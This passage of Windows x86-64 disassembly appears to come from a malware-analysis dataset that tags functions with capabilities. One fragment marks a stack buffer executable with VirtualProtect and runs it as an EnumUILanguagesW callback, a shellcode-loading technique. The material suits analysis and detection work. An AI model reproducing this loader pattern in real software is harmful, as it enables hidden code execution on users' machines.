mov byte [rsp + rcx + 0x60], al
movsxd rax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x60]
mov edx, eax
lea rcx, str.x_x
call fcn.140001158
jmp 0x1400010a3
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x2c], 0
lea r9, [rsp + 0x2c]
mov r8d, 0x40
mov edx, 0x37f
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x38], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
xor eax, eax
add rsp, 0x768
pop rdi
pop rsi
ret
Function at 0x14002bfc0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret